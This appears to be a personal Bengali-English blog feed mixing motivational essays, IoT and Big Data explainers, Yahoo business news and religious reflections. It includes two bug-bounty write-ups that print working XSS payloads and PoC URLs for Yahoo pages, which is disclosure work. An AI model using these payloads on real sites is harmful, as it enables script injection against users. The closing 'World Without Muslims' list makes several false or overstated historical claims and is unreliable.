আপনি জীবনে কি হবেন তা আপনার বুদ্ধির উপর নির্ভর করেনা, নির্ভর করেনা আপনার শিক্ষাগত যোগ্যতা, পারিবারিক পটভূমিকা বা আর্থিক অবস্থার ওপরেও, তাহলে তা কি?


আপনি জীবনে কি হবেন তা আপনার বুদ্ধির উপর নির্ভর করেনা, নির্ভর করেনা আপনার শিক্ষাগত যোগ্যতা, পারিবারিক পটভূমিকা বা আর্থিক অবস্থার ওপরেও!  শুধু মাত্র একটি গুণের উপর সবকিছু নির্ভর করছে, আর তা হল "অধ্যবসায় বা মাটি কামড়ে পড়ে থাকার অভ্যাস।"

যদি এই গুণটি আপনার থাকে, তাহলে পৃথিবীতে কোনো কিছুই আপনার অসাধ্য নয়। আর যদি এই গুণটি না থাকে, তাহলে জানবেন সাফল্য চিরকালই আপনার কাছে অধরা থেকে যাবে।



একটা উদাহরণের মাধ্যমে বিষয়টা সম্পর্কে একটু পরিষ্কার হয়ে যায়।
চীনে একধরনের বাঁশ আছে, যাদের লাগানোর প্রথম চার বছর পানি, সার ইত্যাদি দিতে হয়।
তবে এসময় বাঁশ গাছটি বাড়ে না। কিন্তু পঞ্চম বছরে বাঁশগাছটি হঠাৎ ছয় সাপ্তাহে ৯০ ফুট লম্বা হয়ে যায়।
তাহলে কি বলা যাবে যে বাঁশ গাছটি বাড়তে পাঁচ বছর সময় লেগেছে? বাহিরে অবশ্য কোনো দৃশ্যমান পরিবর্তন ছিলো না। কীভাবে শিকড় চালিয়ে শক্তি সংগ্রহ করছে তা দেখা যায় নি, আবার পানি এবং সার না দিলেও গাছটি বাঁচত না। প্রকৃতি থেকে আমাদের শিক্ষা নেওয়া উচিৎ। ধৈর্য ধরুন, বিশ্বাস রাখুন, এবং সঠিকভাবে কাজ করে যান।
ফলাফল দৃশ্যমান না হলেও কিছু একটা ঘটবেই।

অধ্যবসায়ের সঙ্গে চাই নমনীয়তাও। কোন ফললাভ হচ্ছেনা যেখানে সেখানেও বোকার মতো চেষ্টা করে যাওয়ার নাম কিন্তু অধ্যবসায় নয়। এর নাম গোয়ার্তুমি, যা মূর্খতারই নামান্তর। যদি দেখেন যে কোন কাজে লাভ হচ্ছে না,
তাহলে আর অকারণ চেষ্টায় কালক্ষেপ করবেন না। বরং অন্য কোন কার্যকর পথ খোঁজার চেষ্টা করুন।
নতুন পরিকল্পনা গ্রহণ করুন।

কোন পরিবেশ অসহ্য মনে হলে ভাববেন আপনার চাইতেও খারাপ পরিবেশে কতো মানুষ দিন কাটাচ্ছেন অবলীলায়। যারা আজকে অনেক উপরে উঠেগেছেন তারাও কোন না কোন কঠিন পরিস্থিতি পাড়িয়ে এসেছেন। ওরা যখন পারছে, আপনিও পারবেন অবশ্যই। পরিবেশ পরিস্থিতি যতোই কষ্টকর হোক, কষ্ট নিয়ে যত বেশী ভাববেন, ততো বাড়বে কষ্টের অনুভূতি। তার চেয়ে পরিবেশের মধ্যে থেকেই আনন্দ খুঁজে নিতে শিখুন।
কষ্ট কমবে, কমবে কষ্ট নিয়ে টেনশন। চলে যাবে প্রতিকূল পরিবেশ পরিস্থিতির দম বন্ধ করা অনুভব....../

Stored XSS in Yahoo!

Sharing is Caring :)
When we share, we open doors to a new beginning…../
Well, This is Shahzada Al Shahriar Khan. And I am from Bangladesh.
Now I am going to share how I found Stored Cross-Site Scripting (XSS) in Yahoo.

Steps to Reproduce:
And Comment this payload: "><img src=x onerror=confirm(1);&gt



Now what? Voila! We get the famous confirm(1) to popup! :D

I am trying another payload that I can write something in popup box, and found this payload: <img src=x onerror=prompt(1337)>

 That moment I feel like a boss!




Here is the video PoC:


Timeline:

31/03/2018 — Initial Report.
01/04/2018 — HackerOne staff asked for ‘Needs more info.’
01/04/2018 — More Info Submitted.
04/04/2018 — Triaged and a $300 initial bounty rewarded.
06/04/2018 — Bug Resolved.
11/04/2018 — $1700 bounty rewarded. ( Total $2000 )

My previous write-up: 

XSS in yahoo.com (Reflected)

Hello Guys, This is Shahzada Al Shahriar Khan. Known as TheShahzada.
I am from Bangladesh. And I am Newbie in Bug Bounty. :P
Well, Now I will share how I found Reflected Cross-Site Scripting (XSS) in main & sub domain of Yahoo.

Vulnerable URL:
1. https://www.yahoo.com/movies/film/[*]
2. https://ca.yahoo.com/movies/film/[*]

Payload I Use:
"><%2fscript><script>alert(document.domain)<%2fscript>

PoC URL:
1. https://www.yahoo.com/movies/film/"><%2fscript><script>alert(document.domain)<%2fscript>
2. https://ca.yahoo.com/movies/film/"><%2fscript><script>alert(document.domain)<%2fscript>

PoC:

Yahoo Canada Subdomain

Video PoC:



Timeline:
Aug 12th - I Submitted The Report.
Aug 15th - Triaged The Report & Rewarded Me $300 Initial Bounty.
Aug 16th - Resolved
Aug 24th - $400 Bounty Rewarded.

./The_S

ইন্টারনেট অফ থিংগস | Internet of Things - IoT


ইন্টারনেট অফ থিংগস কি ?
'ইন্টারনেট অফ থিংগস' ( Internet of Things ) হল এমন একটি প্রযুক্তি যেখানে আমাদের নিত্য প্রয়োজনীয় ইলেক্ট্রনিক ডিভাইস গুলো একে অপরের সাথে নেটওয়ার্ক এর মাধ্যমে সংযুক্ত থাকবে, অর্থাৎ আমাদের দৈনন্দিন জীবনে ব্যবহৃত সব বস্তুই ইন্টারনেটের সাথে যুক্ত থাকবে। যেমনঃ লাইট, ফ্যান, এসি, ফ্রিজ, ওয়াসিং মেশিন, রাইস কুকার, কফি মেকার, চেয়ার, টেবিল, ইলেকট্রিক জুতা, মানিব্যাগ, বালিশ, মোবাইল, কম্পিউটার, পানির বোতল, ব্যাগ ইত্যাদি সব কিছুই ইন্টারনেটের সাথে যুক্ত থাকবে এবং আপনি দূর থেকে ইন্টারনেটের মাধ্যমে এই ডিভাইসগুলো নিয়ন্ত্রণ করতে পারবেন।
এবার একটু বিস্তারিত আলোচনায় আসি....../

ইন্টারনেট অফ থিংগস এর গুরুত্ব বা প্রয়োজনীয়তাঃ
আপনি প্রশ্ন করতে পরেন যে ইন্টারনেট অফ থিংগস কি এমন জিনিস বা এর গুরুত্ব কতটুকু?
আসুন একটু ফ্লাশব্যাকে যায়, শুরু দিকে মোবাইল গুলতে যেমনঃ নকেয়া ১১০০ বা এই ধরনের সেটগুলতে কোন ইন্টারনেট ছিলনা, ব্লুটোথ ছিলনা, ওয়াইফাই ছিলনা। তখন একটা মোবাইলের সাথে আরেকটা মোবাইলের কোন কানেকশন ছিলনা। 
তারপর একটা সময় আসল যখন একটা মোবাইলের সাথে অন্য আরেকটা মোবাইলের কানেক্ট করা যায়, মোবাইলের সাথে কম্পিউটারের কানেক্ট করা যায়, 
এখন আমরা একটা ডিভাইস দিয়ে একাধিক ডিভাইসের সাথে সংযোগ করতে পারি। যেমন মোবাইলের ব্লুটুথ বা ওয়াইফাইয়ের মাধ্যেম পিসির সাথে কানেক্ট করা যায় আবার মোবাইল দিয়ে ইনফ্যারেড সেন্সরের মাধ্যেম এসির তাপমাত্রা নিয়ন্ত্রণ করতে পারি।  কিন্তু সব কিছুই ইনফ্যারেড সেন্সরের মধ্যে সীমাবদ্ধ নেই, আপনি যদি বাসার বাইরে থেকে মোবাইল দিয়ে বাসার এসির তাপমাত্রা নিয়ন্ত্রণ করতে চান তাহলে আপনি দরকার ইন্টারনেট। আর এক্ষেত্রে আপনার এসির দরকার একটা ইউনিক আইপি এড্রেস ( IP Address ). তাহলে আপনার মোবাইল এসির আইপি এড্রেস সম্পর্কে জানবে আবার আপনার বাসার এসি মোবাইলের আইপি এড্রেস সম্পর্কে জানবে। 

আসুন আরেকটা উদাহরণ দেখি, ধরুন আপনি যখন বাসায় ঢুকবেন তখন আপনার বাসার এসি অটোমেটিক অন হবে আবার যখন বাসা থেকে বের হয়ে যাবেন তখন অটোমেটিক এসি অফ হয়ে যাবে, বা আপনি যখন বাসায় ঢুকবেন তখন আপনার বাসার লাইট অটোমেটিক অন হবে আবার যখন বাসা থেকে বের হয়ে যাবেন তখন অটোমেটিক লাইট অফ হয়ে যাবে, আর এক্ষেত্রেই দরকার 'ইন্টারনেট অফ থিংগস' । আর যখন অনেকগুলো সেন্সর এক সাথে কানেক্ট হবে তখন বিশাল পরিমাণ ডেটার সৃষ্টি হবে, আর এই ডেটা গুলো সেভ বা সংরক্ষিত থাকবে সার্ভারে। আর এই বিশাল পরিমাণ ডেটা প্রসেস করবে বিগ ডেটা। আপনি যদি বিগ ডেটা সম্পর্কে না জানেন তাহলে বিগ ডেটা নিয়ে আমার লেখা এই আর্টিকেলটা পড়তে পারেন বিগ ডেটা | Big Data

ভবিষ্যতে আপনার দৈনন্দিন জীবনের প্রায় সব কিছুই ইন্টারনেটের সাথে যুক্ত থাকবে, যেমনঃ লাইট, ফ্যান, এসি, ফ্রিজ, ওয়াসিং মেশিন, রাইস কুকার, কফি মেকার, চেয়ার, টেবিল, ইলেকট্রিক জুতা, মানিব্যাগ, বালিশ, মোবাইল, কম্পিউটার, পানির বোতল, ব্যাগ ইত্যাদি সব কিছুই ইন্টারনেটের সাথে যুক্ত থাকবে। আর এই সব কিছুর জন্য আলদা আলদা ইউনিক আইপি এড্রেস দরকার। আর জন্য দরকার ইন্টারনেট প্রটোকল ভার্সন ৬ (Internet Protocol version 6 - ipv6).
আর আমরা এখন ব্যবহার করছি ইন্টারনেট প্রটোকল ভার্সন 4 (Internet Protocol version 4 - ipv4).

ইন্টারনেট অফ থিংগস | Internet of Things - IoT

'ইন্টারনেট অফ থিংগস' এর প্রয়োজনীয়তা বা উপকারিতা অনেক, উদাহরণ দিয়ে শেষ করা যাবেনা। আর আমি যখন 'ইন্টারনেট অফ থিংগস' নিয়ে ঘাটাঘাটি শুরু করি তখন বেশিরভাগ ডকুমেন্টেই এর পজেটিভিটি নিয়ে আলোচনা করেছে। 
কিন্তু এর নেগেটিভ দিক নিয়ে হাতে গোনা দুই একটা আর্টিকেল ছাড়া তেমন কোন আর্টিকেল পায়নি, আসুন এর নেগেটিভ দিকটা নিয়ে একটু আলোচনা করি। 

ইন্টারনেট অফ থিংগস এর অপকারিতা বা ক্ষতিকর দিকঃ

ইন্টারনেট অফ থিংগস এর যেমন অনেক উপকার দিক আছে তেমনি তাঁর এর বিশাল পরিমাণ ক্ষতিকর দিক বা রিস্ক আছে।
যেমন আপনার কম্পিউটারে অনেক গুরুত্বপূর্ন ডেটা আছে  আর আপনি চান না যে অন্য কেউ এই ডেটা সম্পর্কে জানুক। কিন্তু কেউ যদি আপনার মেশিন হ্যাক করতে চায় এবং হ্যাক করে ফেলে তাহলে আপনার গুরুত্বপূর্ন ডেটা কিন্তু আপনার আর থাকছেনা ! 
এখন আপনি হয়তো বলতে পারেন যে, না আমার মেশিন কেউ হ্যাক করতে পারবে না, কারণ আমার মেশিন পৃথিবীর শ্রেষ্ট ফায়ারওয়াল দ্বারা সুরক্ষিত। ওকে মানলাম আপনার মেশিল পৃথিবীর শ্রেষ্ট ফায়ারওয়াল দ্বারা সুরক্ষিত এবং কেউ আপনার মেশিন হ্যাক করতে পারবে না। কিন্তু কেউ যদি আপনার এসি হ্যাক করে তাহলে সে তাঁর ইচ্ছামত আপনার বাসার এসির তাপমাত্রা নিয়ন্ত্রণ করতে পারবে ! আর আপনার এসি যেকোন হ্যাকার হ্যাক করতে পারবে কারণ এসিতে ফায়ারওয়াল নেই।
আপনি বলতে পারেন যে আমার এসি হ্যাক হয়েছে তো কি হয়েছে আমার ল্যাপটপ তো আর হ্যাক হয়নি। 
ভাই থামেন, আপনার এসি আর আপনার ল্যাপটপ দুইটাই একই নেটওয়ার্কের সাথে যুক্ত।
আর ফায়ারওয়াল আউট সাইড নেটওয়ার্কে কাজ করে ইনসাইড নেটওয়ার্কে নয়, তবে আপনি চাইলে ইনসাইড নেটওয়ার্কে ফায়ারওয়াল কনফিগার করতে পারেন, কিন্তু আপনি যদি শুধু আউট সাইড নেটওয়ার্কে ফায়ারওয়াল কিনফিগার করেন আর কেউ যদি আপনার এসি হ্যাক করতে পারে তাহলে সে আপনার ল্যাপটপ ও হ্যাক করতে পারবে ! 
আর এখানেই ইন্টারনেট অফ থিংগস নিয়ে ভয় ! 

একটা কথা মনে রাখবেন অনলাইনে কোন কিছুই সিকিউরড না !
আপনি যত শক্তিশালী সিকিউরিটি ইউজ করেন না কেন, পৃথিবীর কোন এক প্রান্তে কোন না কোন হ্যাকার বসে আছে শক্তিশালী সিকিউরিটি ভাঙ্গার জন্য ! 


বিগ ডেটা | Big Data


বিগ ডেটা কি ?
বিগ ডেটা জানার আগে আসুন জেনে নেই ডেটা কি?
ডেটা মানে তথ্য, অর্থাৎ আমারা কম্পিউটারে বা মোবাইলের মাধ্যমে ছবি, অডিও, ভিডিও ইত্যাদি বিভিন্ন ডেটা বা তথ্য আদান প্রদান বা সংরক্ষণ করে রাখি। 

এখন আমরা ইন্টারনেটের মাধ্যমে অডিও, ভিডিও, টেক্সট ইদ্যাদি বিভিন্ন রকম ডেটা নিয়মিত আদান প্রদান করছি, এবং এই সকল ডেটা বা তথ্য কোথাও না কোথাও সংরক্ষিত হচ্ছে। 
তো এসব ডেটা বা তথ্যের পরিমাণ বাড়তে বাড়তে বর্তমানে এমন পর্যায়ে চলে গেছে যে, এই বিশাল পরিমাণ এবং জটিল ডেটা সমূহকে পুরনো পদ্ধতিতে আর প্রক্রিয়াকরণ ( Processing ) করা যাচ্ছে না !
আরো অবাক করা বিষয় হল, গত দুই বছরে সারা বিশ্বে নতুন করে ৯০% ডেটা বা তথ্যের সৃষ্টি হয়েছে। 

এই বিশাল পরিমাণের জটিল ( Complex ) তথ্যসমূহকেই বলা হচ্ছে বিগ ডেটা ( Big Data ).
ডেটা সংরক্ষণেই শুধু “বিগ ডেটা” টার্মটি ব্যবহার হয়না, ডেটা আদান প্রদানেও এটি ব্যবহার করা হয়।

বিগ ডেটা | Big Data


বিগ ডেটা মূলত তিনটা ভি ( 3 V ) এর উপর নির্ভরশীলঃ
১। ভলিউম ( Volume )
২। ভেলুসিটি ( Velocity )
৩। ভেরাইটি ( Variety )
আসুন এগুলো নিয়ে একটু আলোচনা করি, 

১। ভলিউম ( Volume ) : ভলিউম কি ?
আমারা সবাই তো ফেসবুক, টুইটার, হোয়াটসঅ্যাপ, ইউটিউব ইত্যাদি ব্যবহার করি।
তো সেখানে আমরা কি করি? কাউকে টেক্সট ম্যাসেজ পাঠায়, বিভিন্ন সাইজের অডিও, ভিডিও এবং ছবি  আপলোড করি, এবং আপলোডকৃত এই ডেটাগুলো একটা নির্দিষ্ট পরিমাণ স্পেস বা জায়গা দখল করে।
আসুন একটা উদাহরণ দেখি যে আমরা কি পরিমাণ ডেটা ইউজ করি।
- ইউটিউবে আমরা প্রতি মিনিটে ১২ ঘণ্টা ইউটিউব ভিডিও ফুটেজ আপলোড করি,
চিন্তা করুণ টেরাইবাইটের চেয়ে বেশী ডেটা আমারা প্রতি সেকেন্ডে ব্যবহার করি।

এখন আসি ভেলিসিটিতে,
২। ভেলুসিটি ( Velocity ) : ভেলুসিটি কি ?
ভেলুসিটি হল কত দ্রুত আমরা ডেটার ব্যবহার করছি বা নতুন ডেটা তৈরি করছি।
আসুন কিছু উদাহরণ দেখি,
- ১৯৯২ সালে সারা বিশ্বে প্রতিদিন ১০০ জিবি ডেটার ব্যবহার হয়েছিল।
তার পরে ১৯৯৭ সালে সারা বিশ্বে প্রতিদিন ঘণ্টায় ১০০ জিবি ডেটা ব্যবহৃত হয়।
২০০২ সালে সারা বিশ্বে প্রতি সেকেন্ডে ১০০ জিবি নতুন ডেটা তৈরি হয়,
২০১৩ সালে প্রায় ২৯,০০০ জিবি নতুন ডেটা তৈরি হয়।
এবং ২০১৫-২০১৬ সালে এসে আমরা প্রতি সেকেন্ডে তৈরি করছি প্রায় ৪০,০০০ জিবি ডেটা !
প্রতিদিন আমারা রেপিড স্পিডে তৈরি করছি বিশাল পরিমাণ নিতুন ডেটা ।

৩। ভেরাইটি ( Variety ) :
শুরুর দিকে আমরা স্টাকচার্ড পদ্ধতিতে ডেটা ব্যবহার করতাম।
চিন্তা করুন আপনি আপনার চেবিল স্টাকচার্ডের কথা যেখানে আপনি এসকিউএল এর সাহায্যে যেকোন ডেটা নিয়ন্ত্রণ করতে পারতেন। কিন্তু সমস্যা হল এখন আমরা যে ডেটা তৈরি করি এগুলো স্টাকচার্ড ডেটা নয়। 
এখন আমরা ইমেজ, অডিও, ভিডিও ডেটা তৈরি করছি। 
আমারা যখন কোন পিকনিকে যায় বা কোথাও ঘুরতে যায় তখন আমরা বিশেষ মুহুর্তগুলো ক্যামেরায় ছবি তুলে রাখি। 
আর আমরা কিন্তু একটা ছবি তুলিনা, ইচ্ছামত ছবি তুলি। 
তো ধরুন একটা ছবির সাইজ যদি ৪ এমবি হয়, আর যেহেতু আমারা একাধিক ছবি তুলি 
সেই হিসেবে আমরা একটা পিকনিকে বা ঘুরতে গিয়ে প্রায় ১ জিবি বা তারও বেশী সাইজের ডেটা তৈরি করছি। 
তাছাড়া আমারা এখন কারণে বা অকারণে সেলফি তুলি, তো আমরা কিন্তু একটা সেলফি তুলি না, এক সাথে চার পাঁচটা সেলফি তুলি।
একটা সেলফির সাইজ যদি ৩ এমবি হয় তাহলে পাঁচটা সেলফিতে ১৫ এমবি এর ডেটা তৈরি হল। 
আর এই ছবিগুলো কিন্তু আমারা এক জায়গায় রাখি, বিভিন্ন জায়গায় শেয়ার করি। যেমনঃ ফেসবুক, টুইটার, ইন্সটগ্রাম সহ বিভিন্ন সোশ্যাল মিডিয়াতে আমরা আমাদের ডেটা গুলো শেয়ার করি। 
সারা বিশ্বে ৩ বিলিয়নের চেয়ে বেশী মানুষ ইন্টারনেট ইউজ করে। 
তো চিন্তা করুণ আমরা সবাই যখন একসাথে ইন্টারনেট ইউজ করি 
তখন কত বিশাল পরিমাণ নতুন ডেটার সৃষ্টি করি ! 
প্রতিদিন আমারা প্রায় ২.৫ কুইন্টিলিয়ন বাইট নতুন ডেটা সৃষ্টি করছি ! 
যারা কুইন্টিলিয়ন এর হিসাব জানেন না তাদের জন্য এর হিসাবটা দিলাম।  
কুইন্টিলিয়ন( Quintillion ) = ১ এর পর ১৮ টা শুন্য = ১০^১৮

বিগ ডেটার গুরুত্বঃ
এখন প্রশ্ন আসতে পারে যে কিভাবে আমার এত বিশাল পরিমাণ ডেটা প্রসেস করবো বা সক্রিয় বা চালু রাখবো ?
কিন্তু আপনি প্রশ্ন করতে পারেন কেন আমরা এই ডেটা গুলো সক্রিয় রাখবো? ডেটা গুলোর কাজ শেষে এগুলো আমরা কোথাও সেভ বা সংরক্ষণ করে রাখতে পারি।

কিন্তু গুগল, এপল, মাইক্রোসফট, জেরক্স, আইবিএম, অ্যামাজনের মত কোম্পানি গুলোর কাছে এই ডেটা গুলো  সক্রিয় রাখা খুবই গুরুত্বপুর্ন, এই ডেটা গুলো মূল্যবান রিসোর্স ।
তাছাড়া ব্যাংকেও বিশাল পরিমাণ ডেটার ব্যবহার হয় এবং তা সক্রিয় রাখা খুব জরুরী।
সর্বপরি ভবিষ্যৎ প্রয়োজনে এই বিশাল পরিমাণ ডেটা প্রসেস করা বা সক্রিয় রাখা খুব গুরুত্বপূর্ন।
আর বিগ ডেটা প্রসেস করার জন্য একটা বিশেষ টেকনোলোজি দরকার।
ধরুন আপনি বিগ ডেটা প্রসেস করবেন, কিন্তু তাঁর জন্য কিছু টুলস ব্যবহার করতে হবে আর সেটা হল হেডোপ
হেডোপের একটা বিশেষ সুবিধা হল এটা দিয়ে আপনি আপনার নিজস্ব সার্ভারে কাজ করতে পারবেন, আপনার নিজের ল্যাপটপ দিয়ে বিশাল পরিমাণ ডেটা প্রসেস করতে পারবেন।
আর এজন্যই বিগ ডেটা খুবই গুরুত্বপুর্ন।

......... ( 'বিগ ডেটা' নিয়ে বিস্তারিত আরো লেখা হবে )

./TheShahzada

ভেরাইজনের কাছে মাত্র ৪.৮ বিলিয়ন ডলারের বিনিময়ে বিক্রি হয়ে গেল ইয়াহু !


হ্যাঁ আপনি ঠিকি শুনেছেন,
পানির দামে বিক্রি হয়ে গেল ইয়াহু !
মাত্র  ৪.৮ বিলিয়ন ডলারের বিনিময়ে ভেরাইজনের কাছে বিক্রি হয়ে গেল বিশ্ব বিখ্যাত কোম্পানি ইয়াহু ! 
অথচ এক সময় এই ইয়াহুর বাজার মূল্য ছিল ১২৫ বিলিয়ন ডলারের চেয়েও বেশী !

আসুন একটু ফ্ল্যাশব্যাকে যাই, 
গুগল যখন ছোট পরিসরে ছিল তখন ল্যারি পেইজ ও সের্গেই বিন গুগলকে ইয়াহুর কাছে 
বিক্রি করতে চেয়েছিল। সে সময় ইয়াহুর সিইও ছিলেন সেমেল। 
একদিন ল্যারি পেইজ ও সের্গেই বিন ইয়াহুর সিইও এর সঙ্গে ডিনারে একত্রিত হন। 
ল্যারি পেইজ ও সের্গেই বিন গুগলের মূল্য নির্ধারণ করেন ১ বিলিয়ন ডলার। 
কিন্তু সেমেল সে সময় তাতে রাজি হননি। পরবর্তীতে সেমেল ১ বিলিয়ন ডলারের বিনিময়ে 
গুগল কিনতে রাজি হন এবং এ উদ্দেশ্যে তারা আবার ডিনারে একত্রিত হন। 
সে সময় ল্যারি পেইজ ও সের্গেই বিন পুনরায় গুগলের দাম নির্ধারণ করে বলেন 
গুগল কিনতে হলে তাদের ৩ বিলিয়ন ডলার প্রদান করতে হবে। অন্যথায় তারা গুগল বিক্রি করবেন না। 
সে সময় তাদের মধ্যে আর কোনো কথাবার্তা হয়নি। 

অথচ ২০১৬ সাথে এসে আজ গুগলের বর্তমান মার্কেট ভ্যালু ৫১৭.১২ বিলিয়ন ডলার ! 
আর সেই নামীদামী ইয়াহুর বর্তমানে বিক্রি হল মাত্র  মাত্র  ৪.৮ বিলিয়ন ডলারের বিনিময়ে ! 
বর্তমানে ইয়াহুর এই করুন দশা দেখে আমার নিজেরই খুব খারাপ লাগছে....../ 

এখান থেকে আমাদের অনেক কিছুই শেখার আছে, 
বর্তমান যুগ প্রতিযোগিতার যুগ, এই যুগটা খুব দ্রুত পরিবর্তনশীল।
নিজেকে ও নিজের যোগ্যতাকে নিয়মিত আপডেট না রাখতে পারলে 
বর্তমানে আপনি যত ভাল অবস্থানেই থাকুন না কেন এক সময় হারিয়ে যাবার সম্ভাবনা খুব বেশী ! 

আজ যাকে আপনি তুচ্ছ ভাবছেন কাল সে হয়তো এমন বড় কোন কাজ করবে যা আপনি কল্পনাও করতে পারবেন না, হয়তো একদিন সে আপনার চেয়ে অনেক বেশী যোগ্যতা সম্পন্ন হতে পারে, সফল হতে পারে।
সবাইকে তার ভাল কাজ গুলোর মূল্যায়ন করতে শিখুন, হোকনা তার কাজটা ছোট তাতে কি? 
এক সময় তার ছোট কাজটাই আপনার বড় কোন উপকারে আসতে পারে....../

নিজের কাজ বাদ দিয়ে কারো জন্য দিনরাত সময় দিচ্ছো ? দিন শেষে তোমার কাজটাই আর করা হবে না !



/* কিছু উপদেশ এবং আমি */

১। উপদেশঃ কারো জন্য খুব বেশি ভালো হইতে হয় না
আমিঃ সবার জন্যই খুব ভাল থাকার চেষ্টা করি :)

২। উপদেশঃ খুব বেশি ভালো হওয়া বিপজ্জনক 
আমিঃ এই ভয় নেই, ভাল সবসময় ভাল অন্তরে গলদ থাকলেই বিপদ আসে।

৩। উপদেশঃ একজনের জন্য নিজের ১০০% দিয়ে দিচ্ছো ? ... বেস্ট অফ লাক ....
একদিন দেখবা, ঐ ১০০% এর ০% মূল্য দিয়েই সে চলে গেছে ...../ 
তখন ২০০% হতাশা নিয়ে বসে থাকা ছাড়া উপায় থাকবে না !
আমিঃ অসংখ্য মানুষের জন্য নিজের ১০০ % সেবা করেছি টাকা শ্রম সময় দিয়ে জানতাম ০% মূল্য দিবেনা কিন্তু আমি ১% পাবার আসায় করি নাই, তাই হতাশ হবার কোন কারণ নেই :)

৩। উপদেশঃ নিজের কাজ বাদ দিয়ে কারো জন্য দিনরাত সময় দিচ্ছো ?
দিন শেষে তোমার কাজটাই আর করা হবে না ... ধন্যবাদ আর কৃতজ্ঞতা দিয়ে পেট ভরে না ... খাবার লাগে !
আমিঃ আমার একা খাবার এর চিন্তা করিনা, আমার দিনরাত সময় দেয়াতে হয় আরও অনেক মানুষের খাবার জুটবে, মানুষ খেয়েই মরে কিন্তু না খেলে কেও মরেনা আবার মরে যাওয়ার মত কেও না খেয়ে থাকেনা :)



৪। উপদেশঃ আবেগ অনেক দামী ... সময় অনেক মূল্যবান ... সব উজাড় করে দিয়ে যেও না..../
ভুল মানুষগুলো ওটা পাওয়ার যোগ্য না !
আমিঃ আবেগ দিয়েই মানুষ কে ভালবাসতে হয় লোক দেখানোর জন্য না, যারা নেশা করে তাড়াই সময়ের মূল্য দিতে বুঝেনা, সব উজাড় করে কেউ কাউকে কিছু দেয় না, অনেকে দিয়ে দেয় তাতে কোন লস নেই কারণ সে না বুঝেই দিয়েছে আল্লাহ্‌ ঠিক ফেরত দিবে অন্য দিক দিয়ে এর জন্য আল্লাহ্‌কে ও খুশী রাখতে হবে :)

৪। উপদেশঃ যখন ভুলটা বুঝতে পারবে, যখন মানুষ চিনতে পারবে ... তখন থেমে যেও ... দেরি না করেই থেমে যেও ... এই পৃথিবীতে থামতে জানতে হয় ... স্রোতের মত ভুল পথে ভেসে গেলে আর ফেরত আসা যায় না !
আমিঃ জীবন আর দুনিয়ে বিশাল পরীক্ষা
আল্লাহ্‌ বলেছেনঃ অবশ্যই আমি তোমাদিগকে পরীক্ষা করব কিছুটা ভয়, ক্ষুধা, 
মাল ও জানের ক্ষতি ও ফল-ফসল বিনষ্টের মাধ্যমে। তবে সুসংবাদ দাও সবরকারীদের। 
যখন তারা বিপদে পতিত হয়, তখন বলে, নিশ্চয় আমরা সবাই আল্লাহর জন্য এবং আমরা 
সবাই তাঁরই সান্নিধ্যে ফিরে যাবো।" [সূরা আল বাক্বারাহ - ১৫৩ - ১৫৬]

সুরা ফাতিহাঃ ৫। আল্লাহ আমাদেরকে সরল পথ দেখাও ৬। সে সমস্ত লোকের পথ, যাদেরকে তুমি নেয়ামত দান করেছ। তাদের পথ নয়, যাদের প্রতি তোমার গজব নাযিল হয়েছে এবং যারা পথভ্রষ্ট হয়েছে।
মুসলিম হিসেবে আপনাকে মানতে হবেঃ জানেন ই ত শয়তান আছে, তাই ত এত টাঙ্কি মারি, আর সিনেমা দেখি, তাই আল্লাহ এর কাছে প্রার্থনা করতে হবে ওনি যেন আমাদের কে শয়তানের হাত থেকে বাঁচায় ভুল পথ গুলো থেকে বাঁচায় যারা ভুল পথে চলে ইসলামী শরিয়ার বাহিরে তাদের উপর আল্লাহ্‌ গজব নাজিল করে,

বিঃদ্রঃ কাওকে মায়া করা, সময় দেয়া, সাহায্য করা ইসলাম বহির্ভুত কাজ নয়, যে আল্লাহ্‌ আপানকে স্রোতে ভাসিয়ে দিবে, তারপরেও যদি ভেসে যান তাহলে সেটা আল্লাহ্‌ এর কঠিন পরীক্ষা আর এই পরীক্ষায় যারা ফেইল মারে তারাই এই ধরনের উপদেশ দেয়........./

/* সংগ্রহীত ও পরিমার্জিত */

./TheShahzada

Imagine A World Without Muslim!

Without Muslims you wouldn't have: 
- Coffee 
- Cameras 
- Experimental Physics 
- Chess 
- Soap 
- Shampoo 
- Perfume/spirits 
- Irrigation 
- Crank-shaft, internal combustion engine, valves, pistons 
- Combination locks - Architectural innovation (pointed arch -European Gothic cathedrals adopted this technique as it made the building much stronger, rose windows, dome buildings, round towers, etc.) 
- Surgical instruments 
- Anesthesia 
- Windmill 
- Treatment of Cowpox 
- Fountain pen 
- Numbering system 
- Algebra/Trigonometry 
- Modern Cryptology 
- Crystal glasses 
- Carpets 
- Checks 
- University 
- Optics 
- Toothbrush 
- Hospitals 
- Bathing 
- Quilting 
- Mariner’s Compass 
- Soft drinks 
- Pendulum 
- Braille 
- Cosmetics 
- Plastic surgery 
- Calligraphy 
- Manufacturing of paper and cloth.../



It was a Muslim who realized that light ENTERS our eyes, unlike the Greeks who thought we EMITTED rays, and so invented a camera from this discovery.

It was a Muslim who first tried to FLY in 852, even though it is the Wright Brothers who have taken the credit.

It was a Muslim by the name of Jabir ibn Hayyan who was known as the founder of modern Chemistry. He transformed alchemy into chemistry. He invented: distillation, purification, oxidation, evaporation, and filtration. He also discovered sulfuric and nitric acid.

It is a Muslim, by the name of Al-Jazari who is known as the father of robotics.

It was a Muslim who was the architect for Henry V’s castle.

It was a Muslim who invented hollow needles to suck cataracts from eyes, a technique still used today.

It was a Muslim who actually discovered inoculation, not Jenner and Pasteur to treat cowpox. The West just brought it over from Turkey.

It was Muslims who contributed much to mathematics like Algebra and Trigonometry, which was imported over to Europe 300 years later to Fibonnaci and the rest.

It was Muslims who discovered that the Earth was round 500 years before Galileo did.
The list goes on and on....
Just imagine a world without Muslims. Now I think you probably meant, JUST IMAGINE A WORLD WITHOUT TERRORISTS. And then I would agree, the world would definitely be a better place without those pieces of filth. But to hold a whole group responsible for the actions of a few is ignorant and racist. No one would ever expect Christians or White people to be held responsible for the acts of Timothy McVeigh (Oklahoma bombing) or Andreas Brevik (Norway killing), or the gun man that shot Congresswoman Giffords in head, wounded 12 and killed 6 people, and rightly so because they had nothing to do with those incidents! Just like the rest of the 1.5 billion Muslims have nothing to do with this incident!

./collected